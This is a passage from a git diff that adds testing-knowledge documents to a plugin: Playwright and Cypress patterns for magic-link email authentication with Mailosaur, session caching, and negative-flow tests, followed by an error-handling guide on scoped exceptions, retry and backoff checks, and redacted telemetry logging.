+- **Mailosaur auto-extraction**: `html.links[0].href` or `html.codes[0].value`
+- **Unique emails**: Random ID prevents collisions
+- **Negative testing**: Expired and reused links tested
+- **State verification**: localStorage/session checked
+- **Fast email retrieval**: 30 second timeout typical
+
+---
+
+### Example 2: State Preservation Pattern with cy.session / Playwright storageState
+
+**Context**: Cache authenticated session to avoid requesting magic link on every test.
+
+**Implementation**:
+
+```typescript
+// playwright/fixtures/email-auth-fixture.ts
+import { test as base } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+type EmailAuthFixture = {
+  authenticatedUser: { email: string; token: string };
+};
+
+export const test = base.extend<EmailAuthFixture>({
+  authenticatedUser: async ({ page, context }, use) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${process.env.MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Check if we have cached auth state for this email
+    const storageStatePath = `./test-results/auth-state-${testEmail}.json`;
+
+    try {
+      // Try to reuse existing session
+      await context.storageState({ path: storageStatePath });
+      await page.goto('/dashboard');
+
+      // Validate session is still valid
+      const isAuthenticated = await page.getByTestId('user-menu').isVisible({ timeout: 2000 });
+
+      if (isAuthenticated) {
+        console.log(`✅ Reusing cached session for ${testEmail}`);
+        await use({ email: testEmail, token: 'cached' });
+        return;
+      }
+    } catch (error) {
+      console.log(`📧 No cached session, requesting magic link for ${testEmail}`);
+    }
+
+    // Request new magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Get magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link and authenticate
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Extract auth token from localStorage
+    const authToken = await page.evaluate(() => localStorage.getItem('authToken'));
+
+    // Save session state for reuse
+    await context.storageState({ path: storageStatePath });
+
+    console.log(`💾 Cached session for ${testEmail}`);
+
+    await use({ email: testEmail, token: authToken || '' });
+  },
+});
+```
+
+**Cypress equivalent with cy.session + data-session**:
+
+```javascript
+// cypress/support/commands/email-auth.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Authenticate via magic link with session caching
+ * - First run: Requests email, extracts link, authenticates
+ * - Subsequent runs: Reuses cached session (no email)
+ */
+Cypress.Commands.add('authViaMagicLink', (email) => {
+  return dataSession({
+    name: `magic-link-${email}`,
+
+    // First-time setup: Request and process magic link
+    setup: () => {
+      cy.visit('/login');
+      cy.get('[data-cy="email-input"]').type(email);
+      cy.get('[data-cy="send-magic-link"]').click();
+
+      // Get magic link from Mailosaur
+      cy.mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), {
+        sentTo: email,
+      })
+        .its('html.links.0.href')
+        .should('exist')
+        .then((magicLink) => {
+          cy.visit(magicLink);
+        });
+
+      // Wait for authentication
+      cy.get('[data-cy="user-menu"]', { timeout: 10000 }).should('be.visible');
+
+      // Preserve authentication state
+      return cy.getAllLocalStorage().then((storage) => {
+        return { storage, email };
+      });
+    },
+
+    // Validate cached session is still valid
+    validate: (cached) => {
+      return cy.wrap(Boolean(cached?.storage));
+    },
+
+    // Recreate session from cache (no email needed)
+    recreate: (cached) => {
+      // Restore localStorage
+      cy.setLocalStorage(cached.storage);
+      cy.visit('/dashboard');
+      cy.get('[data-cy="user-menu"]', { timeout: 5000 }).should('be.visible');
+    },
+
+    shareAcrossSpecs: true, // Share session across all tests
+  });
+});
+```
+
+**Usage in tests**:
+
+```javascript
+// cypress/e2e/dashboard.cy.ts
+describe('Dashboard', () => {
+  const serverId = Cypress.env('MAILOSAUR_SERVERID');
+  const testEmail = `test-user@${serverId}.mailosaur.net`;
+
+  beforeEach(() => {
+    // First test: Requests magic link
+    // Subsequent tests: Reuses cached session (no email!)
+    cy.authViaMagicLink(testEmail);
+  });
+
+  it('should display user dashboard', () => {
+    cy.get('[data-cy="dashboard-content"]').should('be.visible');
+  });
+
+  it('should show user profile', () => {
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+
+  // Both tests share same session - only 1 email consumed!
+});
+```
+
+**Key Points**:
+
+- **Session caching**: First test requests email, rest reuse session
+- **State preservation**: localStorage/cookies saved and restored
+- **Validation**: Check cached session is still valid
+- **Quota optimization**: Massive reduction in email consumption
+- **Fast tests**: Cached auth takes seconds vs. minutes
+
+---
+
+### Example 3: Negative Flow Tests (Expired, Invalid, Reused Links)
+
+**Context**: Comprehensive negative testing for email authentication edge cases.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/email-auth-negative.spec.ts
+import { test, expect } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+test.describe('Email Auth Negative Flows', () => {
+  test('should reject expired magic link', async ({ page }) => {
+    // Generate expired link (simulate 24 hours ago)
+    const expiredToken = Buffer.from(
+      JSON.stringify({
+        email: 'test@example.com',
+        exp: Date.now() - 24 * 60 * 60 * 1000, // 24 hours ago
+      }),
+    ).toString('base64');
+
+    const expiredLink = `http://localhost:3000/auth/verify?token=${expiredToken}`;
+
+    // Visit expired link
+    await page.goto(expiredLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/link.*expired|expired.*link/i);
+
+    // Assert: Link to request new one
+    await expect(page.getByTestId('request-new-link')).toBeVisible();
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject invalid magic link token', async ({ page }) => {
+    const invalidLink = 'http://localhost:3000/auth/verify?token=invalid-garbage';
+
+    await page.goto(invalidLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/invalid.*link|link.*invalid/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject already-used magic link', async ({ page, context }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link FIRST time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('user-menu').click();
+    await page.getByTestId('sign-out').click();
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+
+    // Try to reuse SAME link (should fail)
+    await page.goto(magicLink);
+
+    // Assert: Link already used error
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/already.*used|link.*used/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should handle rapid successive link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 3 times rapidly
+    for (let i = 0; i < 3; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+      await expect(page.getByTestId('check-email-message')).toBeVisible();
+    }
+
+    // Only the LATEST link should work
+    const MailosaurClient = require('mailosaur');
+    const mailosaur = new MailosaurClient(process.env.MAILOSAUR_API_KEY);
+
+    const messages = await mailosaur.messages.list(MAILOSAUR_SERVER_ID, {
+      sentTo: testEmail,
+    });
+
+    // Should receive 3 emails
+    expect(messages.items.length).toBeGreaterThanOrEqual(3);
+
+    // Get the LATEST magic link
+    const latestMessage = messages.items[0]; // Most recent first
+    const latestLink = latestMessage.html.links[0].href;
+
+    // Latest link works
+    await page.goto(latestLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Older links should NOT work (if backend invalidates previous)
+    await page.getByTestId('sign-out').click();
+    const olderLink = messages.items[1].html.links[0].href;
+
+    await page.goto(olderLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+  });
+
+  test('should rate-limit excessive magic link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 10 times rapidly (should hit rate limit)
+    for (let i = 0; i < 10; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+
+      // After N requests, should show rate limit error
+      const errorVisible = await page
+        .getByTestId('rate-limit-error')
+        .isVisible({ timeout: 1000 })
+        .catch(() => false);
+
+      if (errorVisible) {
+        console.log(`Rate limit hit after ${i + 1} requests`);
+        await expect(page.getByTestId('rate-limit-error')).toContainText(/too many.*requests|rate.*limit/i);
+        return;
+      }
+    }
+
+    // If no rate limit after 10 requests, log warning
+    console.warn('⚠️  No rate limit detected after 10 requests');
+  });
+});
+```
+
+**Key Points**:
+
+- **Expired links**: Test 24+ hour old tokens
+- **Invalid tokens**: Malformed or garbage tokens rejected
+- **Reuse prevention**: Same link can't be used twice
+- **Rapid requests**: Multiple requests handled gracefully
+- **Rate limiting**: Excessive requests blocked
+
+---
+
+### Example 4: Caching Strategy with cypress-data-session / Playwright Projects
+
+**Context**: Minimize email consumption by sharing authentication state across tests and specs.
+
+**Implementation**:
+
+```javascript
+// cypress/support/commands/register-and-sign-in.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Email Authentication Caching Strategy
+ * - One email per test run (not per spec, not per test)
+ * - First spec: Full registration flow (form → email → code → sign in)
+ * - Subsequent specs: Only sign in (reuse user)
+ * - Subsequent tests in same spec: Session already active (no sign in)
+ */
+
+// Helper: Fill registration form
+function fillRegistrationForm({ fullName, userName, email, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Register').click();
+  cy.get('#reg-dialog-form').should('be.visible');
+  cy.get('#first-name').type(fullName, { delay: 0 });
+  cy.get('#last-name').type(lastName, { delay: 0 });
+  cy.get('#email').type(email, { delay: 0 });
+  cy.get('#username').type(userName, { delay: 0 });
+  cy.get('#password').type(password, { delay: 0 });
+  cy.contains('button', 'Create an account').click();
+  cy.wait('@cognito').its('response.statusCode').should('equal', 200);
+}
+
+// Helper: Confirm registration with email code
+function confirmRegistration(email) {
+  return cy
+    .mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), { sentTo: email })
+    .its('html.codes.0.value') // Mailosaur auto-extracts codes!
+    .then((code) => {
+      cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+      cy.get('#verification-code').type(code, { delay: 0 });
+      cy.contains('button', 'Confirm registration').click();
+      cy.wait('@cognito');
+      cy.contains('You are now registered!').should('be.visible');
+      cy.contains('button', /ok/i).click();
+      return cy.wrap(code); // Return code for reference
+    });
+}
+
+// Helper: Full registration (form + email)
+function register({ fullName, userName, email, password }) {
+  fillRegistrationForm({ fullName, userName, email, password });
+  return confirmRegistration(email);
+}
+
+// Helper: Sign in
+function signIn({ userName, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Sign in').click();
+  cy.get('#sign-in-username').type(userName, { delay: 0 });
+  cy.get('#sign-in-password').type(password, { delay: 0 });
+  cy.contains('button', 'Sign in').click();
+  cy.wait('@cognito');
+  cy.contains('Sign out').should('be.visible');
+}
+
+/**
+ * Register and sign in with email caching
+ * ONE EMAIL PER MACHINE (cypress run or cypress open)
+ */
+Cypress.Commands.add('registerAndSignIn', ({ fullName, userName, email, password }) => {
+  return dataSession({
+    name: email, // Unique session per email
+
+    // First time: Full registration (form → email → code)
+    init: () => register({ fullName, userName, email, password }),
+
+    // Subsequent specs: Just check email exists (code already used)
+    setup: () => confirmRegistration(email),
+
+    // Always runs after init/setup: Sign in
+    recreate: () => signIn({ userName, password }),
+
+    // Share across ALL specs (one email for entire test run)
+    shareAcrossSpecs: true,
+  });
+});
+```
+
+**Usage across multiple specs**:
+
+```javascript
+// cypress/e2e/place-order.cy.ts
+describe('Place Order', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'), // From cypress.config
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email across all specs
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should place order', () => {
+    /* ... */
+  });
+  it('should view order history', () => {
+    /* ... */
+  });
+});
+
+// cypress/e2e/profile.cy.ts
+describe('User Profile', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'),
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email - no new email sent!
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should update profile', () => {
+    /* ... */
+  });
+});
+```
+
+**Playwright equivalent with storageState**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+    {
+      name: 'authenticated',
+      testMatch: /.*\.spec\.ts/,
+      dependencies: ['setup'],
+      use: {
+        storageState: '.auth/user-session.json', // Reuse auth state
+      },
+    },
+  ],
+});
+```
+
+```typescript
+// tests/global-setup.ts (runs once)
+import { test as setup } from '@playwright/test';
+import { getMagicLinkFromEmail } from './support/mailosaur-helpers';
+
+const authFile = '.auth/user-session.json';
+
+setup('authenticate via magic link', async ({ page }) => {
+  const testEmail = process.env.TEST_USER_EMAIL!;
+
+  // Request magic link
+  await page.goto('/login');
+  await page.getByTestId('email-input').fill(testEmail);
+  await page.getByTestId('send-magic-link').click();
+
+  // Get and visit magic link
+  const magicLink = await getMagicLinkFromEmail(testEmail);
+  await page.goto(magicLink);
+
+  // Verify authenticated
+  await expect(page.getByTestId('user-menu')).toBeVisible();
+
+  // Save authenticated state (ONE TIME for all tests)
+  await page.context().storageState({ path: authFile });
+
+  console.log('✅ Authentication state saved to', authFile);
+});
+```
+
+**Key Points**:
+
+- **One email per run**: Global setup authenticates once
+- **State reuse**: All tests use cached storageState
+- **cypress-data-session**: Intelligently manages cache lifecycle
+- **shareAcrossSpecs**: Session shared across all spec files
+- **Massive savings**: 500 tests = 1 email (not 500!)
+
+---
+
+## Email Authentication Testing Checklist
+
+Before implementing email auth tests, verify:
+
+- [ ] **Email service**: Mailosaur/Ethereal/MailHog configured with API keys
+- [ ] **Link extraction**: Use built-in parsing (html.links[0].href) over regex
+- [ ] **State preservation**: localStorage/session/cookies saved and restored
+- [ ] **Session caching**: cypress-data-session or storageState prevents redundant emails
+- [ ] **Negative flows**: Expired, invalid, reused, rapid requests tested
+- [ ] **Quota awareness**: One email per run (not per test)
+- [ ] **PII scrubbing**: Email IDs logged for debug, but scrubbed from artifacts
+- [ ] **Timeout handling**: 30 second email retrieval timeout configured
+
+## Integration Points
+
+- Used in workflows: `*framework` (email auth setup), `*automate` (email auth test generation)
+- Related fragments: `fixture-architecture.md`, `test-quality.md`
+- Email services: Mailosaur (recommended), Ethereal (free), MailHog (self-hosted)
+- Plugins: cypress-mailosaur, cypress-data-session
+
+_Source: Email authentication blog, Murat testing toolkit, Mailosaur documentation_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/error-handling.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/error-handling.md
new file mode 100644
index 0000000..32de3d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/error-handling.md
@@ -0,0 +1,725 @@
+# Error Handling and Resilience Checks
+
+## Principle
+
+Treat expected failures explicitly: intercept network errors, assert UI fallbacks (error messages visible, retries triggered), and use scoped exception handling to ignore known errors while catching regressions. Test retry/backoff logic by forcing sequential failures (500 → timeout → success) and validate telemetry logging. Log captured errors with context (request payload, user/session) but redact secrets to keep artifacts safe for sharing.
+
+## Rationale
+
+Tests fail for two reasons: genuine bugs or poor error handling in the test itself. Without explicit error handling patterns, tests become noisy (uncaught exceptions cause false failures) or silent (swallowing all errors hides real bugs). Scoped exception handling (Cypress.on('uncaught:exception'), page.on('pageerror')) allows tests to ignore documented, expected errors while surfacing unexpected ones. Resilience testing (retry logic, graceful degradation) ensures applications handle failures gracefully in production.
+
+## Pattern Examples
+
+### Example 1: Scoped Exception Handling (Expected Errors Only)
+
+**Context**: Handle known errors (Network failures, expected 500s) without masking unexpected bugs.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/error-handling.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Scoped Error Handling Pattern
+ * - Only ignore specific, documented errors
+ * - Rethrow everything else to catch regressions
+ * - Validate error UI and user experience
+ */
+
+test.describe('API Error Handling', () => {
+  test('should display error message when API returns 500', async ({ page }) => {
+    // Scope error handling to THIS test only
+    const consoleErrors: string[] = [];
+    page.on('pageerror', (error) => {
+      // Only swallow documented NetworkError
+      if (error.message.includes('NetworkError: Failed to fetch')) {
+        consoleErrors.push(error.message);
+        return; // Swallow this specific error
+      }
+      // Rethrow all other errors (catch regressions!)
+      throw error;
+    });
+
+    // Arrange: Mock 500 error response
+    await page.route('**/api/users', (route) =>
+      route.fulfill({
+        status: 500,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+        }),
+      }),
+    );
+
+    // Act: Navigate to page that fetches users
+    await page.goto('/dashboard');
+
+    // Assert: Error UI displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/error.*loading|failed.*load/i);
+
+    // Assert: Retry button visible
+    await expect(page.getByTestId('retry-button')).toBeVisible();
+
+    // Assert: NetworkError was thrown and caught
+    expect(consoleErrors).toContainEqual(expect.stringContaining('NetworkError'));
+  });
+
+  test('should NOT swallow unexpected errors', async ({ page }) => {
+    let unexpectedError: Error | null = null;
+
+    page.on('pageerror', (error) => {
+      // Capture but don't swallow - test should fail
+      unexpectedError = error;
+      throw error;
+    });
+
+    // Arrange: App has JavaScript error (bug)
+    await page.addInitScript(() => {
+      // Simulate bug in app code
+      (window as any).buggyFunction = () => {
+        throw new Error('UNEXPECTED BUG: undefined is not a function');
+      };
+    });
+
+    await page.goto('/dashboard');
+
+    // Trigger buggy function
+    await page.evaluate(() => (window as any).buggyFunction());
+
+    // Assert: Test fails because unexpected error was NOT swallowed
+    expect(unexpectedError).not.toBeNull();
+    expect(unexpectedError?.message).toContain('UNEXPECTED BUG');
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/error-handling.cy.ts
+describe('API Error Handling', () => {
+  it('should display error message when API returns 500', () => {
+    // Scoped to this test only
+    cy.on('uncaught:exception', (err) => {
+      // Only swallow documented NetworkError
+      if (err.message.includes('NetworkError')) {
+        return false; // Prevent test failure
+      }
+      // All other errors fail the test
+      return true;
+    });
+
+    // Arrange: Mock 500 error
+    cy.intercept('GET', '**/api/users', {
+      statusCode: 500,
+      body: {
+        error: 'Internal server error',
+        code: 'INTERNAL_ERROR',
+      },
+    }).as('getUsers');
+
+    // Act
+    cy.visit('/dashboard');
+    cy.wait('@getUsers');
+
+    // Assert: Error UI
+    cy.get('[data-cy="error-message"]').should('be.visible');
+    cy.get('[data-cy="error-message"]').should('contain', 'error loading');
+    cy.get('[data-cy="retry-button"]').should('be.visible');
+  });
+
+  it('should NOT swallow unexpected errors', () => {
+    // No exception handler - test should fail on unexpected errors
+
+    cy.visit('/dashboard');
+
+    // Trigger unexpected error
+    cy.window().then((win) => {
+      // This should fail the test
+      win.eval('throw new Error("UNEXPECTED BUG")');
+    });
+
+    // Test fails (as expected) - validates error detection works
+  });
+});
+```
+
+**Key Points**:
+
+- **Scoped handling**: page.on() / cy.on() scoped to specific tests
+- **Explicit allow-list**: Only ignore documented errors
+- **Rethrow unexpected**: Catch regressions by failing on unknown errors
+- **Error UI validation**: Assert user sees error message
+- **Logging**: Capture errors for debugging, don't swallow silently
+
+---
+
+### Example 2: Retry Validation Pattern (Network Resilience)
+
+**Context**: Test that retry/backoff logic works correctly for transient failures.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/retry-resilience.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Retry Validation Pattern
+ * - Force sequential failures (500 → 500 → 200)
+ * - Validate retry attempts and backoff timing
+ * - Assert telemetry captures retry events
+ */
+
+test.describe('Network Retry Logic', () => {
+  test('should retry on 500 error and succeed', async ({ page }) => {
+    let attemptCount = 0;
+    const attemptTimestamps: number[] = [];
+
+    // Mock API: Fail twice, succeed on third attempt
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      attemptTimestamps.push(Date.now());
+
+      if (attemptCount <= 2) {
+        // First 2 attempts: 500 error
+        route.fulfill({
+          status: 500,
+          body: JSON.stringify({ error: 'Server error' }),
+        });
+      } else {
+        // 3rd attempt: Success
+        route.fulfill({
+          status: 200,
+          contentType: 'application/json',
+          body: JSON.stringify({ products: [{ id: 1, name: 'Product 1' }] }),
+        });
+      }
+    });
+
+    // Act: Navigate (should retry automatically)
+    await page.goto('/products');
+
+    // Assert: Data eventually loads after retries
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByTestId('product-item')).toHaveCount(1);
+
+    // Assert: Exactly 3 attempts made
+    expect(attemptCount).toBe(3);
+
+    // Assert: Exponential backoff timing (1s → 2s between attempts)
+    if (attemptTimestamps.length === 3) {
+      const delay1 = attemptTimestamps[1] - attemptTimestamps[0];
+      const delay2 = attemptTimestamps[2] - attemptTimestamps[1];
+
+      expect(delay1).toBeGreaterThanOrEqual(900); // ~1 second
+      expect(delay1).toBeLessThan(1200);
+      expect(delay2).toBeGreaterThanOrEqual(1900); // ~2 seconds
+      expect(delay2).toBeLessThan(2200);
+    }
+
+    // Assert: Telemetry logged retry events
+    const telemetryEvents = await page.evaluate(() => (window as any).__TELEMETRY_EVENTS__ || []);
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 1,
+        endpoint: '/api/products',
+      }),
+    );
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 2,
+      }),
+    );
+  });
+
+  test('should give up after max retries and show error', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: Always fail (test retry limit)
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Persistent server error' }),
+      });
+    });
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Max retries reached (3 attempts typical)
+    expect(attemptCount).toBe(3);
+
+    // Assert: Error UI displayed after exhausting retries
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/unable.*load|failed.*after.*retries/i);
+
+    // Assert: Data not displayed
+    await expect(page.getByTestId('product-list')).not.toBeVisible();
+  });
+
+  test('should NOT retry on 404 (non-retryable error)', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: 404 error (should NOT retry)
+    await page.route('**/api/products/999', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 404,
+        body: JSON.stringify({ error: 'Product not found' }),
+      });
+    });
+
+    await page.goto('/products/999');
+
+    // Assert: Only 1 attempt (no retries on 404)
+    expect(attemptCount).toBe(1);
+
+    // Assert: 404 error displayed immediately
+    await expect(page.getByTestId('not-found-message')).toBeVisible();
+  });
+});
+```
+
+**Cypress with retry interception**:
+
+```javascript
+// cypress/e2e/retry-resilience.cy.ts
+describe('Network Retry Logic', () => {
+  it('should retry on 500 and succeed on 3rd attempt', () => {
+    let attemptCount = 0;
+
+    cy.intercept('GET', '**/api/products', (req) => {
+      attemptCount++;
+
+      if (attemptCount <= 2) {
+        req.reply({ statusCode: 500, body: { error: 'Server error' } });
+      } else {
+        req.reply({ statusCode: 200, body: { products: [{ id: 1, name: 'Product 1' }] } });
+      }
+    }).as('getProducts');
+
+    cy.visit('/products');
+
+    // Wait for final successful request
+    cy.wait('@getProducts').its('response.statusCode').should('eq', 200);
+
+    // Assert: Data loaded
+    cy.get('[data-cy="product-list"]').should('be.visible');
+    cy.get('[data-cy="product-item"]').should('have.length', 1);
+
+    // Validate retry count
+    cy.wrap(attemptCount).should('eq', 3);
+  });
+});
+```
+
+**Key Points**:
+
+- **Sequential failures**: Test retry logic with 500 → 500 → 200
+- **Backoff timing**: Validate exponential backoff delays
+- **Retry limits**: Max attempts enforced (typically 3)
+- **Non-retryable errors**: 404s don't trigger retries
+- **Telemetry**: Log retry attempts for monitoring
+
+---
+
+### Example 3: Telemetry Logging with Context (Sentry Integration)
+
+**Context**: Capture errors with full context for production debugging without exposing secrets.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/telemetry-logging.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Telemetry Logging Pattern
+ * - Log errors with request context
+ * - Redact sensitive data (tokens, passwords, PII)
+ * - Integrate with monitoring (Sentry, Datadog)
+ * - Validate error logging without exposing secrets
+ */
+
+type ErrorLog = {
+  level: 'error' | 'warn' | 'info';
+  message: string;
+  context?: {
+    endpoint?: string;
+    method?: string;
+    statusCode?: number;
+    userId?: string;
+    sessionId?: string;
+  };
+  timestamp: string;
+};
+
+test.describe('Error Telemetry', () => {
+  test('should log API errors with context', async ({ page }) => {
+    const errorLogs: ErrorLog[] = [];
+
+    // Capture console errors
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') {
+        try {
+          const log = JSON.parse(msg.text());
+          errorLogs.push(log);
+        } catch {
+          // Not a structured log, ignore
+        }
+      }
+    });
+
+    // Mock failing API
+    await page.route('**/api/orders', (route) =>
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Payment processor unavailable' }),
+      }),
+    );
+
+    // Act: Trigger error
+    await page.goto('/checkout');
+    await page.getByTestId('place-order').click();
+
+    // Wait for error UI
+    await expect(page.getByTestId('error-message')).toBeVisible();
+
+    // Assert: Error logged with context
+    expect(errorLogs).toContainEqual(
+      expect.objectContaining({
+        level: 'error',
+        message: expect.stringContaining('API request failed'),
+        context: expect.objectContaining({
+          endpoint: '/api/orders',
+          method: 'POST',
+          statusCode: 500,
+          userId: expect.any(String),
+        }),
+      }),
+    );
+
+    // Assert: Sensitive data NOT logged
+    const logString = JSON.stringify(errorLogs);
+    expect(logString).not.toContain('password');
+    expect(logString).not.toContain('token');
+    expect(logString).not.toContain('creditCard');
+  });
+
+  test('should send errors to Sentry with breadcrumbs', async ({ page }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK
+    await page.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error, context?: any) => {
+          (window as any).__SENTRY_EVENTS__ = (window as any).__SENTRY_EVENTS__ || [];
+          (window as any).__SENTRY_EVENTS__.push({
+            error: error.message,
+            context,
+            timestamp: Date.now(),
+          });
+        },
+        addBreadcrumb: (breadcrumb: any) => {
+          (window as any).__SENTRY_BREADCRUMBS__ = (window as any).__SENTRY_BREADCRUMBS__ || [];
+          (window as any).__SENTRY_BREADCRUMBS__.push(breadcrumb);
+        },
+      };
+    });
+
+    // Mock failing API
+    await page.route('**/api/users', (route) => route.fulfill({ status: 403, body: { error: 'Forbidden' } }));
+
+    // Act
+    await page.goto('/users');
+
+    // Assert: Sentry captured error
+    const events = await page.evaluate(() => (window as any).__SENTRY_EVENTS__);
+    expect(events).toHaveLength(1);
+    expect(events[0]).toMatchObject({
+      error: expect.stringContaining('403'),
+      context: expect.objectContaining({
+        endpoint: '/api/users',
+        statusCode: 403,
+      }),
+    });
+
+    // Assert: Breadcrumbs include user actions
+    const breadcrumbs = await page.evaluate(() => (window as any).__SENTRY_BREADCRUMBS__);
+    expect(breadcrumbs).toContainEqual(
+      expect.objectContaining({
+        category: 'navigation',
+        message: '/users',
+      }),
+    );
+  });
+});
+```
+
+**Cypress with Sentry**:
+
+```javascript
+// cypress/e2e/telemetry-logging.cy.ts
+describe('Error Telemetry', () => {
+  it('should log API errors with redacted sensitive data', () => {
+    const errorLogs = [];
+
+    // Capture console errors
+    cy.on('window:before:load', (win) => {
+      cy.stub(win.console, 'error').callsFake((msg) => {
+        errorLogs.push(msg);
+      });
+    });
+
+    // Mock failing API
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Payment failed' },
+    });
+
+    // Act
+    cy.visit('/checkout');
+    cy.get('[data-cy="place-order"]').click();
+
+    // Assert: Error logged
+    cy.wrap(errorLogs).should('have.length.greaterThan', 0);
+
+    // Assert: Context included
+    cy.wrap(errorLogs[0]).should('include', '/api/orders');
+
+    // Assert: Secrets redacted
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'password');
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'creditCard');
+  });
+});
+```
+
+**Error logger utility with redaction**:
+
+```typescript
+// src/utils/error-logger.ts
+type ErrorContext = {
+  endpoint?: string;
+  method?: string;
+  statusCode?: number;
+  userId?: string;
+  sessionId?: string;
+  requestPayload?: any;
+};
+
+const SENSITIVE_KEYS = ['password', 'token', 'creditCard', 'ssn', 'apiKey'];
+
+/**
+ * Redact sensitive data from objects
+ */
+function redactSensitiveData(obj: any): any {
+  if (typeof obj !== 'object' || obj === null) return obj;
+
+  const redacted = { ...obj };
+
+  for (const key of Object.keys(redacted)) {
+    if (SENSITIVE_KEYS.some((sensitive) => key.toLowerCase().includes(sensitive))) {
+      redacted[key] = '[REDACTED]';
+    } else if (typeof redacted[key] === 'object') {
